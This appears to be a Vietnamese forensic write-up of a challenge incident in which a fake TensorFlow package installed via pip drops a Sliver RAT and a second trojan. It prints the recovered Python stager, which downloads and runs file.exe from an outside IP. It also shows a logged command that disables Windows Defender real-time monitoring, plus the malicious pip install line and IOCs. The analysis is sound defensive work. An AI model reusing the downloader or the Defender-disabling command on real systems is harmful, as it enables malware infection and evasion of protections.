

1 Phân tích luồng sự cố

History			google.com	all4m	Google Chrome	2024-02-26 19:06:59 ICT	LogicalFileSet1
History			google.com	all4m	Google Chrome	2024-02-26 19:06:59 ICT	LogicalFileSet1
History			google.com	is there something in python for building and training vario...	Google Chrome	2024-02-26 19:09:40 ICT	LogicalFileSet1
History			google.com	is there something in python for building and training vario...	Google Chrome	2024-02-26 19:09:40 ICT	LogicalFileSet1
History			google.com	is there something in python for building and training vario...	Google Chrome	2024-02-26 19:11:08 ICT	LogicalFileSet1
History			google.com	is there something in python for building and training vario...	Google Chrome	2024-02-26 19:11:08 ICT	LogicalFileSet1
History			google.com	python package for bulding and training various neural ne...	Google Chrome	2024-02-26 19:11:19 ICT	LogicalFileSet1
History			google.com	python package for bulding and training various neural ne...	Google Chrome	2024-02-26 19:11:19 ICT	LogicalFileSet1
History			google.com	Building a Neural Network from Scratch in Python	Google Chrome	2024-02-26 19:11:42 ICT	LogicalFileSet1
History			google.com	Building a Neural Network from Scratch in Python	Google Chrome	2024-02-26 19:11:42 ICT	LogicalFileSet1
History			google.com	Building a Neural Network from Scratch in Python github	Google Chrome	2024-02-26 19:11:49 ICT	LogicalFileSet1
History			google.com	Building a Neural Network from Scratch in Python github	Google Chrome	2024-02-26 19:11:49 ICT	LogicalFileSet1
History			google.com	high-level and low-level APIs for building and training vario...	Google Chrome	2024-02-26 19:12:17 ICT	LogicalFileSet1
History			google.com	high-level and low-level APIs for building and training vario...	Google Chrome	2024-02-26 19:12:17 ICT	LogicalFileSet1
History			google.com	high-level and low-level APIs for building and training vario...	Google Chrome	2024-02-26 19:12:23 ICT	LogicalFileSet1
History			google.com	Tensorflow library github	Google Chrome	2024-02-26 19:13:44 ICT	LogicalFileSet1
History			google.com	Tensorflow library github	Google Chrome	2024-02-26 19:13:44 ICT	LogicalFileSet1
History			google.com	ERROR: Cannot find command 'git'	Google Chrome	2024-02-26 19:16:01 ICT	LogicalFileSet1
History			google.com	ERROR: Cannot find command 'git'	Google Chrome	2024-02-26 19:16:01 ICT	LogicalFileSet1
History			google.com	how can i use tensorflow	Google Chrome	2024-02-26 19:43:11 ICT	LogicalFileSet1
History			google.com	how can i use tensorflow	Google Chrome	2024-02-26 19:43:11 ICT	LogicalFileSet1
History			google.com	i have download a library named tensorflow and my pc is la...	Google Chrome	2024-02-26 19:46:41 ICT	LogicalFileSet1
History			google.com	i have download a library named tensorflow and my pc is la...	Google Chrome	2024-02-26 19:46:41 ICT	LogicalFileSet1

Quan sát lịch sử duyệt web chúng ta có thể thấy được lịch sử tìm kiếm của user . Vào ngày 26/2 lúc **19:13** user có tìm kiếm Tensorflow library github và lúc **19:46** user có tìm kiếm việc đã tải 1 library named tensorflow và search my pc is lagging cho thấy trong khoảng thời gian đó user đã tìm kiếm 1 thư viện nào đó liên quan đến tensorflow trên github và tải nó về. Ngoài ra chúng ta có thể thấy trong lịch sử còn có việc tìm kiếm cannot find command git

```
Set-ExecutionPolicy -ExecutionPolicy Unrestricted
python -m pip install setuptools
git
pip install git+https://github.com/all4m/TensorFlow.git#egg=TensorFlow
./kape.exe --tsource C:\ --tdest '\\vmware-host\Shared Folders\yep' --target KapeTriage --zip finaloutput
```

Check trong lịch sử command powershell chúng ta có thể thấy command Set-ExecutionPolicy -ExecutionPolicy Unrestricted thiết lập chính sách thực thi script (Execution Policy) của PowerShell thành "Unrestricted" có thể khiến powershell thực thi mọi loại script trên hệ thống . Chúng ta cũng có thể thấy user đã thực hiện command git và có vẻ như đã xảy ra lỗi do k tìm thấy git

SEARCHPROTOCOLHOST.EXE-69C456C3.pf			SEARCHPROTOCOLHOST.EXE			2024-02-26 19:16:34 ICT			Prefetch File
CHROME.EXE-AED7BA44.pf			CHROME.EXE			2024-02-26 19:15:50 ICT			Prefetch File
PIP.EXE-C89F7C47.pf			PIP.EXE			2024-02-26 19:15:09 ICT			Prefetch File
BACKGROUNDTASKHOST.EXE-09292CF5.pf			BACKGROUNDTASKHOST.EXE			2024-02-26 19:14:27 ICT			Prefetch File
CMD.EXE-0BD30981.pf			CMD.EXE			2024-02-26 19:14:22 ICT			Prefetch File
CONHOST.EXE-0C6456FB.pf			CONHOST.EXE			2024-02-26 19:14:22 ICT			Prefetch File

Nhìn vào tệp Prefetch chúng ta có thể thấy user đã chạy lệnh pip vào lúc 19:15 nhưng có vẻ như không được nên đã tìm kiếm trên trình duyệt

History		2	C:\Users\Administrator\Downloads\Git-2.44.0-64-bit.exe	https://github.com/git-for-windows/git/releases/download/...	2024-02-26 19:16:34 ICT	github.com	Default	Google Chrome	LogicalFileSet1
History		0	C:\Users\Administrator\Downloads\Git-2.44.0-64-bit.exe	https://objects.githubusercontent.com/github-production-...	2024-02-26 19:16:34 ICT	objects.githubusercontent.com	Default	Google Chrome	LogicalFileSet1

Vào lúc 19:16 user đã download git về để setup

Run Programs

TableThumbnailSummary

694 R

Save Table as C

Source Name	S	C	O	Program Name	Username	Date/Time	Bytes Sent	Bytes Received	Comment
AUDIOG.EXE-AB22E9A6.pf				AUDIOG.EXE		2024-02-26 19:22:22 ICT			Prefetch File
DLLHOST.EXE-8DFE44C.pf				DLLHOST.EXE		2024-02-26 19:22:22 ICT			Prefetch File
PYTHON.EXE-2B06A1B0.pf				PYTHON.EXE		2024-02-26 19:22:20 ICT			Prefetch File
PYTHONW.EXE-DA4604E3.pf				PYTHONW.EXE		2024-02-26 19:22:19 ICT			Prefetch File
WMIPRVSE.EXE-E888DD29.pf				WMIPRVSE.EXE		2024-02-26 19:22:19 ICT			Prefetch File
PYTHON.EXE-2B06A1B0.pf				PYTHON.EXE		2024-02-26 19:22:15 ICT			Prefetch File
GIT.EXE-52A8D03B.pf				GIT.EXE		2024-02-26 19:22:09 ICT			Prefetch File
PYTHON.EXE-2B06A1B0.pf				PYTHON.EXE		2024-02-26 19:22:09 ICT			Prefetch File
GIT-REMOTE-HTTPS.EXE-C1AFB266.pf				GIT-REMOTE-HTTPS.EXE		2024-02-26 19:22:08 ICT			Prefetch File
GIT.EXE-52A8D03B.pf				GIT.EXE		2024-02-26 19:22:08 ICT			Prefetch File
GIT.EXE-DA7EFD01.pf				GIT.EXE		2024-02-26 19:22:08 ICT			Prefetch File
GIT-REMOTE-HTTPS.EXE-C1AFB266.pf				GIT-REMOTE-HTTPS.EXE		2024-02-26 19:22:06 ICT			Prefetch File
GIT.EXE-52A8D03B.pf				GIT.EXE		2024-02-26 19:22:06 ICT			Prefetch File
PIP.EXE-C89F7C47.pf				PIP.EXE		2024-02-26 19:22:05 ICT			Prefetch File
PYTHON.EXE-2B06A1B0.pf				PYTHON.EXE		2024-02-26 19:22:05 ICT			Prefetch File
BACKGROUNDTRANSFERHOST.EXE-9FADC89F.pf				BACKGROUNDTRANSFERHOST.EXE		2024-02-26 19:21:50 ICT			Prefetch File
DLLHOST.EXE-E9BDD97B.pf				DLLHOST.EXE		2024-02-26 19:21:49 ICT			Prefetch File
GIT-BASH.EXE-03B4AE0A.pf				GIT-BASH.EXE		2024-02-26 19:21:34 ICT			Prefetch File
WHICH.EXE-384461C5.pf				WHICH.EXE		2024-02-26 19:21:34 ICT			Prefetch File
BASH.EXE-0E44068C.pf				BASH.EXE		2024-02-26 19:21:26 ICT			Prefetch File
CP.EXE-35E3BF65.pf				CP.EXE		2024-02-26 19:21:26 ICT			Prefetch File
CYGPATH.EXE-7B5FC0F6.pf				CYGPATH.EXE		2024-02-26 19:21:26 ICT			Prefetch File

Lúc 19:22 user đã thực hiện command pip install từ URL <https://github.com/all4m/TensorFlow.git#egg=TensorFlow> . Tại thời điểm viết report này thì miền url này đã close nên không thể xem được source nguồn và source của package tải về cũng không thể được tìm thấy chỉ có thể tìm thấy folder chứa file config của packages này

Listing

/LogicalFileSet1/C/Users/Administrator/AppData/Local/Programs/Python/Python312/Lib/site-packages

19 Results

TableThumbnailSummary

Save Table as CSV

Name	S	C	O	Modified Time	Change Time	Access Time	Created Time	Size	Flags(Dir)	Flags(Meta)	Known	Location
_distutils_hack				0000-00-00 00:00:00	0000-00-00 00:00:00	0000-00-00 00:00:00	0000-00-00 00:00:00	0	Allocated	Allocated	unknown	/LogicalFileSet1/C/Users/Administrator/AppData/Local/Programs/Python/Python312/Lib/site-packages/_distutils_hack
certifi				0000-00-00 00:00:00	0000-00-00 00:00:00	0000-00-00 00:00:00	0000-00-00 00:00:00	0	Allocated	Allocated	unknown	/LogicalFileSet1/C/Users/Administrator/AppData/Local/Programs/Python/Python312/Lib/site-packages/certifi
certifi-2024.2.2.dist-info				0000-00-00 00:00:00	0000-00-00 00:00:00	0000-00-00 00:00:00	0000-00-00 00:00:00	0	Allocated	Allocated	unknown	/LogicalFileSet1/C/Users/Administrator/AppData/Local/Programs/Python/Python312/Lib/site-packages/certifi-2024.2.2.dist-info
charset_normalizer				0000-00-00 00:00:00	0000-00-00 00:00:00	0000-00-00 00:00:00	0000-00-00 00:00:00	0	Allocated	Allocated	unknown	/LogicalFileSet1/C/Users/Administrator/AppData/Local/Programs/Python/Python312/Lib/site-packages/charset_normalizer
charset_normalizer-3.3.2.dist-info				0000-00-00 00:00:00	0000-00-00 00:00:00	0000-00-00 00:00:00	0000-00-00 00:00:00	0	Allocated	Allocated	unknown	/LogicalFileSet1/C/Users/Administrator/AppData/Local/Programs/Python/Python312/Lib/site-packages/charset_normalizer-3.3.2.dist-info
idna				0000-00-00 00:00:00	0000-00-00 00:00:00	0000-00-00 00:00:00	0000-00-00 00:00:00	0	Allocated	Allocated	unknown	/LogicalFileSet1/C/Users/Administrator/AppData/Local/Programs/Python/Python312/Lib/site-packages/idna
idna-3.6.dist-info				0000-00-00 00:00:00	0000-00-00 00:00:00	0000-00-00 00:00:00	0000-00-00 00:00:00	0	Allocated	Allocated	unknown	/LogicalFileSet1/C/Users/Administrator/AppData/Local/Programs/Python/Python312/Lib/site-packages/idna-3.6.dist-info
pip				0000-00-00 00:00:00	0000-00-00 00:00:00	0000-00-00 00:00:00	0000-00-00 00:00:00	0	Allocated	Allocated	unknown	/LogicalFileSet1/C/Users/Administrator/AppData/Local/Programs/Python/Python312/Lib/site-packages/pip
pip-24.0.dist-info				0000-00-00 00:00:00	0000-00-00 00:00:00	0000-00-00 00:00:00	0000-00-00 00:00:00	0	Allocated	Allocated	unknown	/LogicalFileSet1/C/Users/Administrator/AppData/Local/Programs/Python/Python312/Lib/site-packages/pip-24.0.dist-info
pkg_resources				0000-00-00 00:00:00	0000-00-00 00:00:00	0000-00-00 00:00:00	0000-00-00 00:00:00	0	Allocated	Allocated	unknown	/LogicalFileSet1/C/Users/Administrator/AppData/Local/Programs/Python/Python312/Lib/site-packages/pkg_resources
requests				0000-00-00 00:00:00	0000-00-00 00:00:00	0000-00-00 00:00:00	0000-00-00 00:00:00	0	Allocated	Allocated	unknown	/LogicalFileSet1/C/Users/Administrator/AppData/Local/Programs/Python/Python312/Lib/site-packages/requests
requests-2.31.0.dist-info				0000-00-00 00:00:00	0000-00-00 00:00:00	0000-00-00 00:00:00	0000-00-00 00:00:00	0	Allocated	Allocated	unknown	/LogicalFileSet1/C/Users/Administrator/AppData/Local/Programs/Python/Python312/Lib/site-packages/requests-2.31.0.dist-info
setuptools				0000-00-00 00:00:00	0000-00-00 00:00:00	0000-00-00 00:00:00	0000-00-00 00:00:00	0	Allocated	Allocated	unknown	/LogicalFileSet1/C/Users/Administrator/AppData/Local/Programs/Python/Python312/Lib/site-packages/setuptools
setuptools-69.1.1.dist-info				0000-00-00 00:00:00	0000-00-00 00:00:00	0000-00-00 00:00:00	0000-00-00 00:00:00	0	Allocated	Allocated	unknown	/LogicalFileSet1/C/Users/Administrator/AppData/Local/Programs/Python/Python312/Lib/site-packages/setuptools-69.1.1.dist-info
tensorflow_gpu-1.0.0.dist-info				0000-00-00 00:00:00	0000-00-00 00:00:00	0000-00-00 00:00:00	0000-00-00 00:00:00	0	Allocated	Allocated	unknown	/LogicalFileSet1/C/Users/Administrator/AppData/Local/Programs/Python/Python312/Lib/site-packages/tensorflow_gpu-1.0.0.dist-info
urllib3				0000-00-00 00:00:00	0000-00-00 00:00:00	0000-00-00 00:00:00	0000-00-00 00:00:00	0	Allocated	Allocated	unknown	/LogicalFileSet1/C/Users/Administrator/AppData/Local/Programs/Python/Python312/Lib/site-packages/urllib3
urllib3-2.2.1.dist-info				0000-00-00 00:00:00	0000-00-00 00:00:00	0000-00-00 00:00:00	0000-00-00 00:00:00	0	Allocated	Allocated	unknown	/LogicalFileSet1/C/Users/Administrator/AppData/Local/Programs/Python/Python312/Lib/site-packages/urllib3-2.2.1.dist-info
distutils-precedence.pth			1	0000-00-00 00:00:00	0000-00-00 00:00:00	0000-00-00 00:00:00	0000-00-00 00:00:00	151	Allocated	Allocated	unknown	/LogicalFileSet1/C/Users/Administrator/AppData/Local/Programs/Python/Python312/Lib/site-packages/distutils-precedence.pth
README.txt			0	0000-00-00 00:00:00	0000-00-00 00:00:00	0000-00-00 00:00:00	0000-00-00 00:00:00	121	Allocated	Allocated	unknown	/LogicalFileSet1/C/Users/Administrator/AppData/Local/Programs/Python/Python312/Lib/site-packages/README.txt

Vào lúc 19:22:09 sau khi thực thi download package kia về và thực thi lệnh git thì vào lúc 19:22:19 chúng ta có thể thấy là Windows defend bị disable đây là dấu hiệu có thể cho thấy đây là hành động của attacker

Windows PowerShell_5 Number of events: 113				
Level	Date and Time	Source	Event ID	Task Category
Information	2/26/2024 7:22:26 PM	PowerShell (PowerShell)	600	Provider Lifecycle
Information	2/26/2024 7:22:26 PM	PowerShell (PowerShell)	600	Provider Lifecycle
Information	2/26/2024 7:22:19 PM	PowerShell (PowerShell)	403	Engine Lifecycle
Information	2/26/2024 7:22:17 PM	PowerShell (PowerShell)	400	Engine Lifecycle
Information	2/26/2024 7:22:17 PM	PowerShell (PowerShell)	600	Provider Lifecycle
Information	2/26/2024 7:22:17 PM	PowerShell (PowerShell)	600	Provider Lifecycle

Event 403, PowerShell (PowerShell)	
General	Details
Details: NewEngineState=Stopped PreviousEngineState=Available SequenceNumber=15 HostName=ConsoleHost HostVersion=5.1.17763.1 HostId=0d575efd-f28f-42c0-954a-f3322755684b HostApplication=powershell -Command Set-MpPreference -DisableRealtimeMonitoring \$true EngineVersion=5.1.17763.1 RunspaceId=c8c56a8a-f2ba-4bf7-b52d-e1bfca82dca PipelineId= CommandName= CommandType= ScriptName= CommandPath=	
Log Name:	Windows PowerShell
Source:	PowerShell (PowerShell)
Event ID:	403
Level:	Information
User:	N/A
OpCode:	
Logged:	2/26/2024 7:22:19 PM
Task Category:	Engine Lifecycle
Keywords:	Classic
Computer:	DESKTOP-2R3AR22

C:\Users\REM\Desktop\malicious-pypi\c128-malicious-pypi\C\Users\Administrator\AppData\Local\Temp\tmpdem_n_sz - Notepad++

File Edit Search View Encoding Language Settings Tools Macro Run Plugins Window ?

tmpdem_n_sz

```

1
2 import urllib.request as _urequest
3 import shutil as _shutil
4 import subprocess
5
6 def _download_file(url, local_file):
7     with _urequest.urlopen(url) as response, open(local_file, 'wb') as out_file:
8         _shutil.copyfileobj(response, out_file)
9
10 def _execute_downloaded_file(file_path):
11     subprocess.run(file_path, check=True)
12
13 _download_file('http://3.66.85.252:8000/file.exe', 'setup.exe')
14 _execute_downloaded_file('setup.exe')
15

```

Tuy không tìm thấy source nguồn ở foder mặc định nhưng trong foder temp vẫn còn lưu trữ source của packages đã tải về kia để thực thi . Nó download 1 file ở URL **http://3[.]66[.]85[.]252:8000/file.exe** và rename file thành setup.exe vào lúc 19:22 và excute file

Chúng ta có thể thấy vào thời điểm 19:23 có file là setup.exe đã được download xuống và thực thi filter theo time thực thi của tệp Prefetch

Source Name	S	C	O	Program Name	Username	▼ Date/Time	Bytes Sent	Bytes Received	Comment
✖ GIT.EXE-DA7FDD1.pf				GIT.EXE		2024-02-26 19:23:52 ICT			Prefetch File
✖ GIT-REMOTE-HTTPS.EXE-C1AFB266.pf				GIT-REMOTE-HTTPS.EXE		2024-02-26 19:23:51 ICT			Prefetch File
✖ GIT.EXE-52A80038.pf				GIT.EXE		2024-02-26 19:23:51 ICT			Prefetch File
✖ GIT.EXE-DA7FDD1.pf				GIT.EXE		2024-02-26 19:23:51 ICT			Prefetch File
✖ PIP.EXE-C89F7C47.pf				PIP.EXE		2024-02-26 19:23:50 ICT			Prefetch File
✖ PYTHON.EXE-2B06A1B0.pf				PYTHON.EXE		2024-02-26 19:23:50 ICT			Prefetch File
✔ SETUP.EXE-5311170D.pf				SETUP.EXE		2024-02-26 19:23:28 ICT			Prefetch File
✖ PYTHONW.EXE-DA4604E3.pf				PYTHONW.EXE		2024-02-26 19:22:26 ICT			Prefetch File
✖ PYTHON.EXE-2B06A1B0.pf				PYTHON.EXE		2024-02-26 19:22:25 ICT			Prefetch File
✖ AUDIODG.EXE-A822E9A6.pf				AUDIODG.EXE		2024-02-26 19:22:22 ICT			Prefetch File
✖ DLLHOST.EXE-80FE444C.pf				DLLHOST.EXE		2024-02-26 19:22:22 ICT			Prefetch File
✖ PYTHON.EXE-2B06A1B0.pf				PYTHON.EXE		2024-02-26 19:22:20 ICT			Prefetch File
✖ PYTHONW.EXE-DA4604E3.pf				PYTHONW.EXE		2024-02-26 19:22:19 ICT			Prefetch File
✖ WMIPRVSE.EXE-E868DD29.pf				WMIPRVSE.EXE		2024-02-26 19:22:19 ICT			Prefetch File
✖ PYTHON.EXE-2B06A1B0.pf				PYTHON.EXE		2024-02-26 19:22:15 ICT			Prefetch File
✖ GIT.EXE-52A80038.pf				GIT.EXE		2024-02-26 19:22:09 ICT			Prefetch File
✖ PYTHON.EXE-2B06A1B0.pf				PYTHON.EXE		2024-02-26 19:22:09 ICT			Prefetch File
✖ GIT-REMOTE-HTTPS.EXE-C1AFB266.pf				GIT-REMOTE-HTTPS.EXE		2024-02-26 19:22:08 ICT			Prefetch File
✖ GIT.EXE-52A80038.pf				GIT.EXE		2024-02-26 19:22:08 ICT			Prefetch File
✖ GIT.EXE-DA7FDD1.pf				GIT.EXE		2024-02-26 19:22:08 ICT			Prefetch File
✖ GIT-REMOTE-HTTPS.EXE-C1AFB266.pf				GIT-REMOTE-HTTPS.EXE		2024-02-26 19:22:06 ICT			Prefetch File
✖ GIT.EXE-52A80038.pf				GIT.EXE		2024-02-26 19:22:06 ICT			Prefetch File

HexTextApplicationSource File MetadataOS AccountData ArtifactsAnalysis ResultsContextAnnotationsOther Occurrences

Result: 1 of 1Result

Run Programs

Type	Value	Source(s)
Program Name	SETUP.EXE	Windows Prefetch Analyzer
Path	/USERS/ADMINISTRATOR/APPDATA/LOCAL/TEMP/PIP-INSTALL-TRVITANA/TENSORFLOW_60F502CA008440439F1CA159E422A20C	Windows Prefetch Analyzer
Date/Time	2024-02-26 19:23:28 ICT	Windows Prefetch Analyzer
Count	1	Windows Prefetch Analyzer
Comment	Prefetch File	Windows Prefetch Analyzer
Source File Path	/LogicalFileSet1/C/Windows/prefetch/SETUP.EXE-5311170D.pf	
Artifact ID	-922337203685477427	

Check hash file đó trên VT chúng ta thấy 49/72 AV đánh giá là malware

5f8212f95007a5aceb61d3be86c7d1bdb03980ae8a3bd822c847d4c83c528330

49 / 72

49/72 security vendors and 2 sandboxes flagged this file as malicious

5f8212f95007a5aceb61d3be86c7d1bdb03980ae8a3bd822c847d4c83c528330

setup.exe

Size14.96 MB

Last Modification Date5 days ago

EXE

Community Score

peeechecks-user-input64bits

DETECTION

DETAILS

RELATIONS

BEHAVIOR

TELEMETRY

COMMUNITY6

Join the VT Community and enjoy additional community insights and crowdsourced detections, plus an API key to automate checks.

Popular threat labeltrojan.silver/deepscan

Threat categoriestrojanhacktool

Family labelssilverdeepscanmarte

Security vendors' analysis

Do you want to automate checks?






Alibaba	Trojan:Win32/Silver.09ae17fe	AliCloud	Trojan:Multi/Silver.A
AlYac	DeepScan:Generic.Silver.Marte.E.FD829...	Antiy-AVL	Trojan/Multi.MalGO
Arcabit	DeepScan:Generic.Silver.Marte.E.FDD20...	Avast	Win64:Malware-gen
AVG	Win64:Malware-gen	Avira (no cloud)	HEUR/AGEN.1366847
BitDefender	DeepScan:Generic.Silver.Marte.E.FD829...	Bkav Pro	W64.AIDetectMalware

Chúng ta có thể thấy mẫu này kết nối tới miền ip 3.66.85.252 và port 8888 khi tôi chạy mẫu này trong sandbox






192.168.157.169:50549 -> 3.66.85.252:8888
192.168.157.169:50549 -> 3.66.85.252:8888

Mẫu này thuộc family sliver dòng RAT(Remote access trojan) sẽ phép attacker từ xa kiểm soát và thực hiện các hành động độc hại trên máy tính mục tiêu mà không cần sự chấp thuận hoặc sự nhận biết của người sử dụng . Attacker đã có thể remote máy user

Vào lúc 19:36 có 1 tiến trình schtasks.exe được mở cho đã tạo 1 schedule task đây là hành động của attacker thực hiện để persistant

 SHTASKS.EXE-8B6144A9.pf		SHTASKS.EXE	2024-02-26 19:36:52 ICT		Prefetch File
 SYSTEMINFO.EXE-3EAAF1C2.pf		SYSTEMINFO.EXE	2024-02-26 19:33:24 ICT		Prefetch File
 SYSTEMINFO.EXE-3EAAF1C2.pf		SYSTEMINFO.EXE	2024-02-26 19:33:01 ICT		Prefetch File
 CONHOST.EXE-0C6456FB.pf		CONHOST.EXE	2024-02-26 19:32:45 ICT		Prefetch File
 POWERSHELL.EXE-CA1AE517.pf		POWERSHELL.EXE	2024-02-26 19:32:45 ICT		Prefetch File

```
<Priority>7</Priority>
</Settings>
<Actions Context="Author">
  <Exec>
    <Command>C:\Users\Administrator\AppData\Local\Temp\pip-install-y1w9mdpi\tensorflow-gpu_67ea8943f00e4a90a57811a568238213\setup.exe</Command>
  </Exec>
</Actions>
</Task>
```

 CHROME.EXE-AED7BA3D.pf		CHROME.EXE	2024-02-26 19:46:05 ICT		Prefetch File
 DLLHOST.EXE-B6CB38A.pf		DLLHOST.EXE	2024-02-26 19:46:00 ICT		Prefetch File
 SYSTEM.EXE-52946548.pf		SYSTEM.EXE	2024-02-26 19:45:27 ICT		Prefetch File
 CONHOST.EXE-0C6456FB.pf		CONHOST.EXE	2024-02-26 19:45:05 ICT		Prefetch File
 POWERSHELL.EXE-CA1AE517.pf		POWERSHELL.EXE	2024-02-26 19:45:05 ICT		Prefetch File

Vào lúc 19:45 chúng ta sẽ thấy có 1 tập tin tên System.exe lạ được thực thi có vẻ đây là do attacker để lại nhưng vẫn chưa rõ cách nó để lại file này. Check hash trên Virustotal thấy 56/72 AV đánh giá là malware

56

/ 72

Community Score

56/72 security vendors and 1 sandbox flagged this file as malicious

Reanalyze Similar More

21545028cac12fc9e8692a71247040718e6d640ee6117d1b19f4521f886586be

system.exe

Size2.97 MBLast Modification Date7 days agoEXE

peexeassembly64bitsidlechecks-user-input

DETECTION

DETAILS

RELATIONS

BEHAVIOR

TELEMETRY

COMMUNITY4

Join the VT Community and enjoy additional community insights and crowdsourced detections. [Get an API key](#) to automate checks.

Popular threat labeltrojan.coins/redcap

Threat categoriestrojan

Family labelscoinsredcapaurora

Security vendors' analysis

Do you want to automate checks?

AhnLab-V3	Trojan/Win.Evo-gen.R546458	Alibaba	Trojan.JS/Redcap.d6f9ad61
AliCloud	Trojan.Win.UnkAgent	ALYac	Trojan.GenericKDZ.95892
Antiy-AVL	Trojan[PSW]/Multi.Coins	Arcabit	Trojan.Generic.D17694
Avast	Win64:Evo-gen [Trj]	AVG	Win64:Evo-gen [Trj]
Avira (no cloud)	TR/Redcan.asur	BitDefender	Trojan.GenericKDZ.95892

2 Phân tích mẫu chi tiết mã độc

Filename : setup.exe (Mẫu này để khi hoàn thành xong hết challenge thì phân tích)

System.exe

3 IOC

URL :

http://45[.]15[.]156[.]182:8081

http://3[.]66[.]85[.]252

https://github.com/all4m/TensorFlow.git #egg=TensorFlow

File :

Filename : setup.exe

MD5 Hash : 23aadf3c98745cf293bff6b1b0980429

File name : System.exe

MD5 Hash : 2a729660806eed688b2ed1935edb07c1

4 Mitre&ATTCK mapping

Command and Scripting Interpreter: PowerShell [Command and Scripting Interpreter: PowerShell, Sub-technique T1059.001 - Enterprise | MITRE ATT&CK®](#)

Scheduled Task/Job: Scheduled Task [Scheduled Task/Job: Scheduled Task, Sub-technique T1053.005 - Enterprise | MITRE ATT&CK®](#)

Impair Defenses: Disable or Modify Tools [Impair Defenses: Disable or Modify Tools, Sub-technique T1562.001 - Enterprise | MITRE ATT&CK®](#)

Supply Chain Compromise [Supply Chain Compromise, Technique T1195 - Enterprise | MITRE ATT&CK®](#)

System Information Discovery [System Information Discovery, Technique T1082 - Enterprise | MITRE ATT&CK®](#)